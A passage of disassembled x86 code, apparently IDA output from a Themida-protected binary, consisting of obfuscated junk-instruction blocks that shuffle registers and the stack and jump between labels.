		pop	ecx
		sub	eax, 0AC30BB10h
		jmp	loc_595F95
; ---------------------------------------------------------------------------


loc_595B19:				; CODE XREF: Themida_:00596E49j
		mov	edi, 24E8779Ah
		sub	edi, 0FFFFFFFFh
		dec	edi
		sub	edi, 4D9216Ah
		sub	edi, 1
		sub	edi, 0E31AEDB4h
		add	esi, 6F9915DCh
		sub	esi, edi
		sub	esi, 6F9915DCh
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591076
; ---------------------------------------------------------------------------


loc_595B54:				; CODE XREF: Themida_:00596DAAj
		sub	edx, 23BC2FAEh
		xor	edx, 2CB24453h
		add	edx, 78EF2B91h
		push	ebp
		jmp	loc_59F67D
; ---------------------------------------------------------------------------


loc_595B6C:				; CODE XREF: Themida_:0059E7C9j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5A3DFF
; ---------------------------------------------------------------------------


loc_595B75:				; CODE XREF: Themida_:0059B2A5j
		add	edi, 252F0750h
		jmp	loc_5A21D9
; ---------------------------------------------------------------------------


loc_595B80:				; CODE XREF: Themida_:00595121j
		pop	ebp
		and	eax, ecx
		jmp	loc_59A05F
; ---------------------------------------------------------------------------


loc_595B88:				; CODE XREF: Themida_:005956EBj
		pop	ebp
		push	ecx
		mov	ecx, 39133151h
		shr	ecx, 6
		shl	ecx, 7
		jmp	loc_59C3F5
; ---------------------------------------------------------------------------


loc_595B9A:				; CODE XREF: Themida_:0059AC0Aj
		mov	cl, 6Bh
		jmp	loc_594E48
; ---------------------------------------------------------------------------


loc_595BA1:				; CODE XREF: Themida_:00591121j
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 62344B1Dh
		push	edx
		push	234E5BD0h
		pop	edx
		sub	edx, 0F0B228Ch
		shl	edx, 2
		neg	edx
		shl	edx, 7
		xor	edx, 63AF7320h
		add	ecx, 582A5A1Eh
		sub	ecx, 11BF48E1h
		jmp	loc_59A174
; ---------------------------------------------------------------------------


loc_595BDB:				; CODE XREF: Themida_:005909A4j
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_594362
; ---------------------------------------------------------------------------


loc_595BE7:				; CODE XREF: Themida_:0059237Fj
		xor	eax, 52713CADh
		add	eax, 0EDDAF73Fh
		jmp	loc_59ED80
; ---------------------------------------------------------------------------


loc_595BF6:				; CODE XREF: Themida_:00592A29j
		mov	[esp], ebx
		push	4DF1476Ch
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6FF91C8Dh
		push	edx
		mov	edx, esp
		jmp	loc_5A3E2B
; ---------------------------------------------------------------------------


loc_595C1B:				; CODE XREF: Themida_:0059F66Bj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_59414E
; ---------------------------------------------------------------------------


loc_595C3E:				; CODE XREF: Themida_:00594C8Aj
		push	eax
		push	75AFh
		mov	[esp], edx
		push	17062906h
		pop	edx
		sub	edx, 9898027Bh
		mov	eax, edx
		pop	edx
		jmp	loc_59765A
; ---------------------------------------------------------------------------


loc_595C5B:				; CODE XREF: Themida_:00593971j
		mov	esi, [esp]
		add	esp, 4
		mov	esi, eax
		pop	eax
		sub	esi, 39327552h
		neg	esi
		xor	esi, 0CC1D5289h
		push	esi
		push	esi
		mov	esi, 4B996947h
		jmp	loc_5939F3
; ---------------------------------------------------------------------------


loc_595C7E:				; CODE XREF: Themida_:00594480j
		pop	esi
		jmp	loc_5A203D
; ---------------------------------------------------------------------------


loc_595C84:				; CODE XREF: Themida_:0059E243j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59DD4D
; ---------------------------------------------------------------------------


loc_595C91:				; CODE XREF: Themida_:00599794j
		push	ebp
		mov	ebp, 5842C777h
		xor	esi, ebp
		pop	ebp
		push	esi
		mov	esi, 4F921A5Bh
		add	esi, 0F4DC5D35h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 37C6206Bh
		jmp	loc_59A10B
; ---------------------------------------------------------------------------


loc_595CBB:				; CODE XREF: Themida_:00596CA2j
		sub	ebp, 0C08918EBh
		jmp	loc_5949C0
; ---------------------------------------------------------------------------


loc_595CC6:				; CODE XREF: Themida_:005A53C4j
		mov	ebx, [esp]
		add	esp, 4
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_5A558E
; ---------------------------------------------------------------------------


loc_595CD9:				; CODE XREF: Themida_:0059CE1Fj
		xor	ecx, edx
		pop	edx
		sub	esi, 2355053Ch
		sub	esi, ecx
		add	esi, 2355053Ch
		pop	ecx
		add	esi, eax
		add	esi, 26E80366h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59B72C
; ---------------------------------------------------------------------------


loc_595D02:				; CODE XREF: Themida_:005A3B83j
		pop	edi
		jmp	loc_5A0F4B
; ---------------------------------------------------------------------------


loc_595D08:				; CODE XREF: Themida_:005A3C2Cj
		pop	ecx
		add	esp, 4
		jmp	loc_5A178F
; ---------------------------------------------------------------------------


loc_595D14:				; CODE XREF: Themida_:005A05A5j
		xor	ebx, 40DF4E8Ch
		and	ebp, ebx
		pop	ebx
		sub	ebp, 20910084h
		and	ecx, ebp
		mov	ebp, [esp]
		push	edx
		push	esp
		jmp	loc_59A588
; ---------------------------------------------------------------------------


loc_595D2F:				; CODE XREF: Themida_:00594903j
		mov	dl, 0FFh
		add	bl, dl
		mov	dx, [esp]
		add	esp, 2
		push	edx
		mov	dl, bl
		push	ebx
		push	eax
		push	ecx
		mov	ch, dl
		mov	al, ch
		pop	ecx
		jmp	loc_5978A9
; ---------------------------------------------------------------------------


loc_595D4A:				; CODE XREF: Themida_:0059C8FCj
		shr	ecx, 4
		or	ecx, 703C718Dh
		jmp	loc_59C38A
; ---------------------------------------------------------------------------


loc_595D58:				; CODE XREF: Themida_:00590C6Cj
		xor	edx, 618F780Eh
		sub	ebp, edx
		jmp	loc_59DA0F
; ---------------------------------------------------------------------------


loc_595D65:				; CODE XREF: Themida_:005940EDj
		mov	ebp, 2CA95617h
		mov	eax, ebp
		pop	ebp
		neg	eax
		shl	eax, 4
		sub	eax, 44FD3626h
		shr	eax, 8
		push	esi
		mov	esi, 3AEF5B2Bh
		shr	esi, 8
		sub	esi, 53EF955Ah
		sub	eax, esi
		pop	esi
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		jmp	loc_5A3A65
; ---------------------------------------------------------------------------


loc_595D99:				; CODE XREF: Themida_:005A1DD3j
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5998D6
; ---------------------------------------------------------------------------


loc_595DA6:				; CODE XREF: Themida_:00594EB1j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_593705
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		push	ebp
		push	ebx
		push	274E3BEFh
		pop	ebx
		not	ebx
		add	ebx, 17D304D7h
		add	ebx, 5CA94298h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, 4D2E0B7Bh
		mov	ebx, ebp
		pop	ebp
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	326A5B56h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59825B
; ---------------------------------------------------------------------------


loc_595E0D:				; CODE XREF: Themida_:0059958Bj
		and	ch, bl
		pop	ebx
		shr	ch, 8
		xor	ch, 0F6h
		jmp	loc_5996C6
; ---------------------------------------------------------------------------


loc_595E1B:				; CODE XREF: Themida_:005A3FB9j
		add	ah, 0E3h
		xor	ah, 0FDh
		shl	ah, 3
		sub	ah, 1Ch
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_595608
; ---------------------------------------------------------------------------


loc_595E32:				; CODE XREF: Themida_:0059C390j
		not	edi
		jmp	loc_59B990
; ---------------------------------------------------------------------------


loc_595E39:				; CODE XREF: Themida_:00596DEAj
		pop	ebp
		push	ecx
		push	ebx
		jmp	loc_59418F
; ---------------------------------------------------------------------------


loc_595E41:				; CODE XREF: Themida_:00599023j
		sub	[esp+4], ebp
		jmp	loc_59BC30
; ---------------------------------------------------------------------------


loc_595E4A:				; CODE XREF: Themida_:005A2861j
		mov	esi, ebp
		pop	ebp
		or	esi, 6F597FCAh
		shl	esi, 6
		neg	esi
		push	ebx
		jmp	loc_590AF0
; ---------------------------------------------------------------------------


loc_595E5E:				; CODE XREF: Themida_:00599748j
		pop	ebp
		add	ebx, 41A63633h
		jmp	loc_59D3BA
; ---------------------------------------------------------------------------


loc_595E6A:				; CODE XREF: Themida_:0059085Aj
		push	eax
		push	33AA278Dh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59656B
; ---------------------------------------------------------------------------


loc_595E7E:				; CODE XREF: Themida_:005A1282j
		add	eax, 7F9A7F40h
		add	edi, eax
		pop	eax
		jmp	loc_59A198
; ---------------------------------------------------------------------------


loc_595E8B:				; CODE XREF: Themida_:00596AB8j
		pop	ebx
		add	esp, 4
		jmp	loc_59C5B9
; ---------------------------------------------------------------------------


loc_595E94:				; CODE XREF: Themida_:005A1C79j
		mov	ebp, 2917278Ch
		push	edi
		jmp	loc_599F87
; ---------------------------------------------------------------------------


loc_595E9F:				; CODE XREF: Themida_:005A1DA4j
		add	esp, 4
		mov	edi, eax
		jmp	loc_59FE87
; ---------------------------------------------------------------------------


loc_595EAC:				; CODE XREF: Themida_:00593C67j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59595A
; ---------------------------------------------------------------------------


loc_595EB5:				; CODE XREF: Themida_:005945EFj
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_595ED7
; ---------------------------------------------------------------------------


loc_595EC0:				; CODE XREF: Themida_:005A32C1j
		push	esi
		mov	esi, 515B2770h
		sub	esi, 2E4E6D03h
		and	esi, 0B3F5533h
		jmp	loc_59AAAE
; ---------------------------------------------------------------------------


loc_595ED7:				; CODE XREF: Themida_:00595EBBj
		push	eax
		push	esi
		pop	eax
		jmp	loc_59F211
; ---------------------------------------------------------------------------


loc_595EDF:				; CODE XREF: Themida_:00597355j
		pop	ebp
		sub	ebx, 34285062h
		sub	ebx, edx
		jmp	loc_5920CB
; ---------------------------------------------------------------------------


loc_595EED:				; CODE XREF: Themida_:00595098j
		push	esi
		mov	esi, 23C83D8Bh
		push	ecx
		mov	ecx, 78427289h
		jmp	loc_5A4FC3
; ---------------------------------------------------------------------------


loc_595EFE:				; CODE XREF: Themida_:005A226Ej
		pop	esi
		shl	eax, 6
		sub	eax, 247BA633h
		xor	ebp, eax
		pop	eax
		jmp	loc_59BF4E
; ---------------------------------------------------------------------------


loc_595F0F:				; CODE XREF: Themida_:0059D7B0j
		pop	ecx
		sub	ebp, 7BF47963h
		sub	ebp, 25FC25B0h
		mov	esi, [esp]
		jmp	loc_597439
; ---------------------------------------------------------------------------


loc_595F24:				; CODE XREF: Themida_:0059DA47j
		mov	[esp], ebp
		mov	ebp, offset dword_5F3EE0
		push	ebx
		jmp	loc_5A4DCC
; ---------------------------------------------------------------------------


loc_595F32:				; CODE XREF: Themida_:00593B5Bj
		mov	ebx, 3D660FC1h
		add	eax, ebx
		pop	ebx
		pop	edx
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595F45:				; CODE XREF: Themida_:0059DEF8j
		push	ecx
		push	esi
		jmp	loc_592AC9
; ---------------------------------------------------------------------------


loc_595F4C:				; CODE XREF: Themida_:005A3A7Aj
		push	2D41h
		mov	[esp], ebp
		mov	ebp, 630172BAh
		push	ecx
		jmp	loc_5A0E2D
; ---------------------------------------------------------------------------


loc_595F5F:				; CODE XREF: Themida_:005A3823j
		mov	ebx, 27722946h
		or	esi, ebx
		jmp	$+5
		pop	ebx
		not	esi
		or	esi, 626944CDh
		add	esi, 674F6F2Eh
		sub	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		sub	eax, 404E6E30h
		jmp	loc_594003
; ---------------------------------------------------------------------------


loc_595F95:				; CODE XREF: Themida_:00595B14j
		sub	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595FA9:				; CODE XREF: Themida_:0059FA6Ej
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], edx
		jmp	loc_59A1C0
; ---------------------------------------------------------------------------


loc_595FC0:				; CODE XREF: Themida_:00593629j
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		push	3025384Fh
		pop	edi
		not	edi
		jmp	loc_591A56
; ---------------------------------------------------------------------------


loc_595FD2:				; CODE XREF: Themida_:0059C919j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_595FE0:				; CODE XREF: Themida_:005944D0j
		push	esi
		push	eax
		push	261642FAh
		pop	eax
		xchg	eax, ecx
		not	ecx
		jmp	loc_5A2F4D
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_599846
; ---------------------------------------------------------------------------


loc_595FFE:				; CODE XREF: Themida_:0059D16Bj
		pop	ebp
		jmp	loc_596211
; ---------------------------------------------------------------------------


loc_596004:				; CODE XREF: Themida_:00591A7Bj
		mov	eax, 0CC81D7DEh
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, edx
		jmp	loc_59464D
; ---------------------------------------------------------------------------


loc_596014:				; CODE XREF: Themida_:005A333Dj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59AFD9
; ---------------------------------------------------------------------------


loc_596022:				; CODE XREF: Themida_:0059EF15j
		mov	ebp, 62853B5Ch
		shl	ebp, 2
		xor	ebp, 0B753FDA0h
		push	edx
		jmp	loc_5958EB
; ---------------------------------------------------------------------------


loc_596036:				; CODE XREF: Themida_:0059DD1Bj
		sub	al, dh
		pop	edx
		mov	bx, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 24FC45A5h
		push	ebp
		not	dword ptr [esp]
		jmp	loc_59CDE7
; ---------------------------------------------------------------------------


loc_59604F:				; CODE XREF: Themida_:005A3EEFj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		sub	esi, 4E4B28ADh
		sub	esi, 4C397AF8h
		add	esi, edx
		add	esi, 4C397AF8h
		add	esi, 4E4B28ADh
		pop	edx
		jmp	loc_594367
; ---------------------------------------------------------------------------


loc_596080:				; CODE XREF: Themida_:005A36F6j
		add	eax, 11ED67E8h
		jmp	loc_5985FD
; ---------------------------------------------------------------------------


loc_59608A:				; CODE XREF: Themida_:005A06EEj
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ecx
		jmp	loc_59A6C1
; ---------------------------------------------------------------------------


loc_596098:				; CODE XREF: Themida_:0059157Fj
		add	cl, 0ECh
		pop	dx
		push	eax
		push	ebx
		mov	bl, 0
		xor	bl, 0D1h
		mov	al, bl
		jmp	loc_5A0726
; ---------------------------------------------------------------------------


loc_5960AB:				; CODE XREF: Themida_:0059F3CBj
		mov	[esp], ecx
		mov	cl, 0D7h
		jmp	loc_590C2A
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A4848
; ---------------------------------------------------------------------------


loc_5960BB:				; CODE XREF: Themida_:0059D3FFj
		not	ebp
		xor	ebp, 0B9B692Bh
		sub	ebp, 58C6116Ah
		sub	[edi+20h], ebp
		jmp	loc_597335
; ---------------------------------------------------------------------------


loc_5960D1:				; CODE XREF: Themida_:0059646Cj
		or	bx, 6AFFh
		xor	bx, 8029h
		or	ax, bx
		pop	ebx
		add	ax, 8EE0h
		jmp	loc_59117E
; ---------------------------------------------------------------------------


loc_5960E8:				; CODE XREF: Themida_:005947F8j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5953D2
; ---------------------------------------------------------------------------


loc_5960F1:				; CODE XREF: Themida_:005A4DD1j
		sub	ebp, ebx
		pop	ebx
		mov	edx, ebp
		jmp	loc_59F7E2
; ---------------------------------------------------------------------------


loc_5960FB:				; CODE XREF: Themida_:00596F5Bj
		add	esp, 4
		jmp	loc_592220
; ---------------------------------------------------------------------------


loc_596103:				; CODE XREF: Themida_:0059CCCAj
		mov	bx, di
		pop	edi
		pop	edx
		jmp	loc_59F29F
; ---------------------------------------------------------------------------


loc_59610D:				; CODE XREF: Themida_:005A0225j
		pop	esi
		add	ebp, edx
		pop	edx
		add	edi, 6E010DD6h
		add	edi, ebp
		jmp	loc_59B62F
; ---------------------------------------------------------------------------


loc_59611E:				; CODE XREF: Themida_:005A39BAj
		mov	edx, 4
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ecx, 14703458h
		jmp	loc_5A1A11
; ---------------------------------------------------------------------------


loc_59613F:				; CODE XREF: Themida_:0059DA37j
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A07D6
; ---------------------------------------------------------------------------


loc_59614F:				; CODE XREF: Themida_:0059729Fj
		mov	ebp, 63C03F27h
		mov	eax, ebp
		pop	ebp
		jmp	loc_5A2231
; ---------------------------------------------------------------------------
		dd 0B05065B5h, 0ECED80F2h, 0FFA25CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596169:				; CODE XREF: Themida_:005966ECj
		add	edx, 613F528Eh
		push	eax
		push	edi
		mov	edi, 6F0D28C5h
		xor	edi, 61686790h
		push	esi
		mov	esi, 3E5A60EDh
		push	ebp
		mov	ebp, 4CE334C2h
		shl	ebp, 2
		shr	ebp, 8
		add	ebp, 231250B6h
		sub	ebp, 0BD62A0EEh
		jmp	loc_591316
; ---------------------------------------------------------------------------


loc_59619F:				; CODE XREF: Themida_:0059EEA7j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59E284
; ---------------------------------------------------------------------------


loc_5961AD:				; CODE XREF: Themida_:005A27C8j
		push	bx
		mov	bh, 0F3h
		mov	ch, bh
		jmp	loc_5A3695
; ---------------------------------------------------------------------------


loc_5961B8:				; CODE XREF: Themida_:00596CF7j
		push	eax
		jmp	loc_5A2300
; ---------------------------------------------------------------------------


loc_5961BE:				; CODE XREF: Themida_:005A2146j
		xor	ebp, 0E0143C7Dh
		push	esi
		mov	esi, 5A721C5Ah
		shl	esi, 5
		or	esi, 40DD5EFBh
		neg	esi
		sub	esi, 3EE8CE8Eh
		sub	eax, esi
		pop	esi
		add	eax, ebp
		add	eax, 72375177h
		pop	ebp
		not	eax
		inc	eax
		inc	eax
		add	eax, 65F30DD6h
		jmp	loc_593933
; ---------------------------------------------------------------------------


loc_5961F4:				; CODE XREF: Themida_:005A2D90j
		mov	edx, 669D47DAh
		jmp	loc_5A4C2E
; ---------------------------------------------------------------------------


loc_5961FE:				; CODE XREF: Themida_:00591BD5j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		inc	esi
		jmp	loc_59978D
; ---------------------------------------------------------------------------


loc_596211:				; CODE XREF: Themida_:00595FFFj
		and	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ebx, 5
		jmp	loc_5993CB
; ---------------------------------------------------------------------------


loc_596225:				; CODE XREF: Themida_:005A13F1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59400A
; ---------------------------------------------------------------------------


loc_59623D:				; CODE XREF: Themida_:0059D4A4j
		xor	ebx, 2D2B5364h
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_593722
; ---------------------------------------------------------------------------


loc_596252:				; CODE XREF: Themida_:00596F6Ej
		sub	esp, 4
		mov	[esp], edx
		push	0FA9h
		mov	[esp], eax
		push	ebp
		mov	ebp, 2C2D1ABDh
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		not	eax
		or	eax, 243327E9h
		inc	eax
		jmp	loc_5A004E
; ---------------------------------------------------------------------------


loc_59627E:				; CODE XREF: Themida_:005A2D52j
		sub	esp, 4
		mov	[esp], esi
		push	74A8h
		jmp	loc_59A5B0
; ---------------------------------------------------------------------------


loc_59628E:				; CODE XREF: Themida_:00593685j
		xchg	ebx, edx
		inc	edx
		xor	edx, 23AA293Ch
		jmp	loc_599A47
; ---------------------------------------------------------------------------


loc_59629C:				; CODE XREF: Themida_:005A0E47j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5A2F3B
; ---------------------------------------------------------------------------


loc_5962AA:				; CODE XREF: Themida_:005A02D5j
		shl	edx, 1
		neg	edx
		shl	edx, 4
		xor	edx, 0C15CFEFh
		sub	ebx, 649C2585h
		sub	ebx, edx
		add	ebx, 649C2585h
		pop	edx
		push	edx
		jmp	loc_597ED3
; ---------------------------------------------------------------------------


loc_5962CC:				; CODE XREF: Themida_:0059E2BDj
		sub	edx, ecx
		jmp	loc_59934C
; ---------------------------------------------------------------------------


loc_5962D3:				; CODE XREF: Themida_:0059ABBEj
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, 4AA727DCh
		jmp	loc_5A046D
; ---------------------------------------------------------------------------


loc_5962FB:				; CODE XREF: Themida_:00595881j
		shl	edi, 1
		shl	edi, 7
		jmp	loc_591419
; ---------------------------------------------------------------------------


loc_596305:				; CODE XREF: Themida_:00593F15j
		add	esi, 512F1EAh
		and	ecx, esi
		jmp	loc_59DFC3
; ---------------------------------------------------------------------------


loc_596312:				; CODE XREF: Themida_:00594991j
		and	ebp, 33F41B0Ah
		jmp	loc_59944D
; ---------------------------------------------------------------------------


loc_59631D:				; CODE XREF: Themida_:0059B08Ej
		mov	edi, ebp
		jmp	loc_59E668
; ---------------------------------------------------------------------------


loc_596324:				; CODE XREF: Themida_:0059E23Bj
		mov	ebp, 3C9F2327h
		sub	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebx, eax
		push	291Ah
		jmp	loc_5A1E2F
; ---------------------------------------------------------------------------


loc_596346:				; CODE XREF: Themida_:00594B99j
		mov	edx, esp
		push	esi
		mov	esi, 6AEF4AA3h
		not	esi
		sub	esi, 3054172Ah
		or	esi, 7B1E02h
		jmp	loc_5A0A98
; ---------------------------------------------------------------------------


loc_596361:				; CODE XREF: Themida_:005964BCj
		mov	ebx, 2E49218Fh
		sub	ebx, esi
		pop	esi
		inc	ebx
		push	ecx
		mov	ecx, 8DA6FD9h
		not	ecx
		sub	ecx, 56CD513Dh
		inc	ecx
		or	ecx, 26FF676Ch
		not	ecx
		push	edx
		mov	edx, 3BEF1F4Fh
		add	edx, 0EFECF36h
		xor	ecx, edx
		pop	edx
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 28D2533Fh
		sub	eax, ebx
		push	ebp
		mov	ebp, 28D2533Fh
		jmp	loc_595008
; ---------------------------------------------------------------------------


loc_5963AD:				; CODE XREF: Themida_:00599675j
		mov	ecx, [esp]
		add	esp, 4
		push	749Eh
		mov	[esp], ecx
		jmp	loc_59C77F
; ---------------------------------------------------------------------------


loc_5963C0:				; CODE XREF: Themida_:00599EFCj
		pop	esp
		mov	[esp], edx
		mov	edx, 36DD7D6Ah
		jmp	loc_593624
; ---------------------------------------------------------------------------


loc_5963CE:				; CODE XREF: Themida_:00591D26j
		push	edx
		jmp	loc_5A4E4D
; ---------------------------------------------------------------------------


loc_5963D4:				; CODE XREF: Themida_:00593BBBj
		sub	eax, ebp
		pop	ebp
		jmp	loc_59243D
; ---------------------------------------------------------------------------


loc_5963DC:				; CODE XREF: Themida_:00598BB6j
		mov	edi, 645E2E09h
		sub	edi, 0E87BA90Eh
		add	ebx, edi
		pop	edi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	0C89h
		mov	[esp], edi
		mov	edi, 0A7F3732h
		jmp	loc_597361
; ---------------------------------------------------------------------------


loc_596424:				; CODE XREF: Themida_:005919AAj
		xchg	dx, di
		push	small 22D4h
		mov	[esp], bp
		mov	bp, 6F40h
		xor	di, bp
		mov	bp, [esp]
		add	esp, 2
		push	eax
		push	small 0DC5h
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		shr	ax, 1
		inc	ax
		and	ax, 56B2h
		push	ebx
		mov	bx, 8BDh
		add	bx, 7CF2h
		jmp	loc_5960D1
; ---------------------------------------------------------------------------


loc_596471:				; CODE XREF: Themida_:005937A1j
		push	esi
		push	64FEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		push	edi
		push	11676F2Ah
		pop	edi
		xor	edi, 0EE70E58h
		add	edi, 42FF1F11h
		dec	edi
		push	ebp
		mov	ebp, 42CD6D08h
		sub	ebp, 405613F7h
		jmp	loc_5A364C
; ---------------------------------------------------------------------------


loc_5964A8:				; CODE XREF: Themida_:005A23CCj
		mov	[esp], esi
		mov	esi, 2
		sub	eax, 4B88534Dh
		push	ebx
		push	esi
		mov	esi, 12B71D2Ah
		jmp	loc_596361
; ---------------------------------------------------------------------------


loc_5964C1:				; CODE XREF: Themida_:005A0673j
		shl	ebx, 3
		shl	ebx, 2
		neg	ebx
		jmp	loc_599DE0
; ---------------------------------------------------------------------------


loc_5964CE:				; CODE XREF: Themida_:005943AFj
		xor	edx, ebp
		jmp	loc_599438
; ---------------------------------------------------------------------------


loc_5964D5:				; CODE XREF: Themida_:0059DC01j
		mov	[esp], edi
		push	ebp
		push	61D27B4Ch
		jmp	loc_5A384A
; ---------------------------------------------------------------------------


loc_5964E3:				; CODE XREF: Themida_:005A09F4j
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_59B017
; ---------------------------------------------------------------------------


loc_5964F1:				; CODE XREF: Themida_:00597928j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59C222
; ---------------------------------------------------------------------------


loc_596503:				; CODE XREF: Themida_:005A27AAj
		add	eax, ebp
		pop	ebp
		jmp	loc_5A392A
; ---------------------------------------------------------------------------


loc_59650B:				; CODE XREF: Themida_:0059924Bj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_590A77
; ---------------------------------------------------------------------------


loc_596524:				; CODE XREF: Themida_:005A006Ej
		sub	ebp, 0BA1097F1h
		sub	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0A313Ah
		jmp	loc_5A2A0C
; ---------------------------------------------------------------------------


loc_59653D:				; CODE XREF: Themida_:005A48DCj
		pop	esi
		pop	ebx
		push	6D4Bh
		jmp	loc_59B3AD
; ---------------------------------------------------------------------------


loc_596549:				; CODE XREF: Themida_:00597434j
		mov	esi, 50931B69h
		jmp	loc_5A0D38
; ---------------------------------------------------------------------------


loc_596553:				; CODE XREF: Themida_:0059AD57j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59655D:				; CODE XREF: Themida_:0059A95Cj
		pop	edi
		sub	ebp, 9AC6E8Ch
		mov	esi, ebp
		jmp	loc_59AF43
; ---------------------------------------------------------------------------


loc_59656B:				; CODE XREF: Themida_:00595E79j
		mov	ecx, 33AA278Fh
		jmp	loc_59BB4A
; ---------------------------------------------------------------------------


loc_596575:				; CODE XREF: Themida_:0059D4ABj
		or	ecx, 423762E6h
		add	ecx, 0C532FEDFh
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, ecx
		push	ecx
		mov	ecx, 1BB45A4Ch
		sub	ecx, 0FFFFFFFFh
		jmp	loc_59778B
; ---------------------------------------------------------------------------


loc_596599:				; CODE XREF: Themida_:00594738j
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5909DF
; ---------------------------------------------------------------------------


loc_5965A9:				; CODE XREF: Themida_:005A134Bj
		pop	edx
		sub	al, bl
		jmp	loc_5A3684
; ---------------------------------------------------------------------------


loc_5965B1:				; CODE XREF: Themida_:005A13E9j
		pop	ecx
		mov	ecx, ebx
		jmp	loc_59932B
; ---------------------------------------------------------------------------


loc_5965B9:				; CODE XREF: Themida_:00593695j
		pop	ebx
		jmp	loc_598914
; ---------------------------------------------------------------------------


loc_5965BF:				; CODE XREF: Themida_:0059718Dj
		add	esp, 4
		add	ebp, 619F7FF1h
		add	ebp, edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 65313E32h
		jmp	loc_590C5F
; ---------------------------------------------------------------------------


loc_5965DA:				; CODE XREF: Themida_:005A29F8j
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, 4
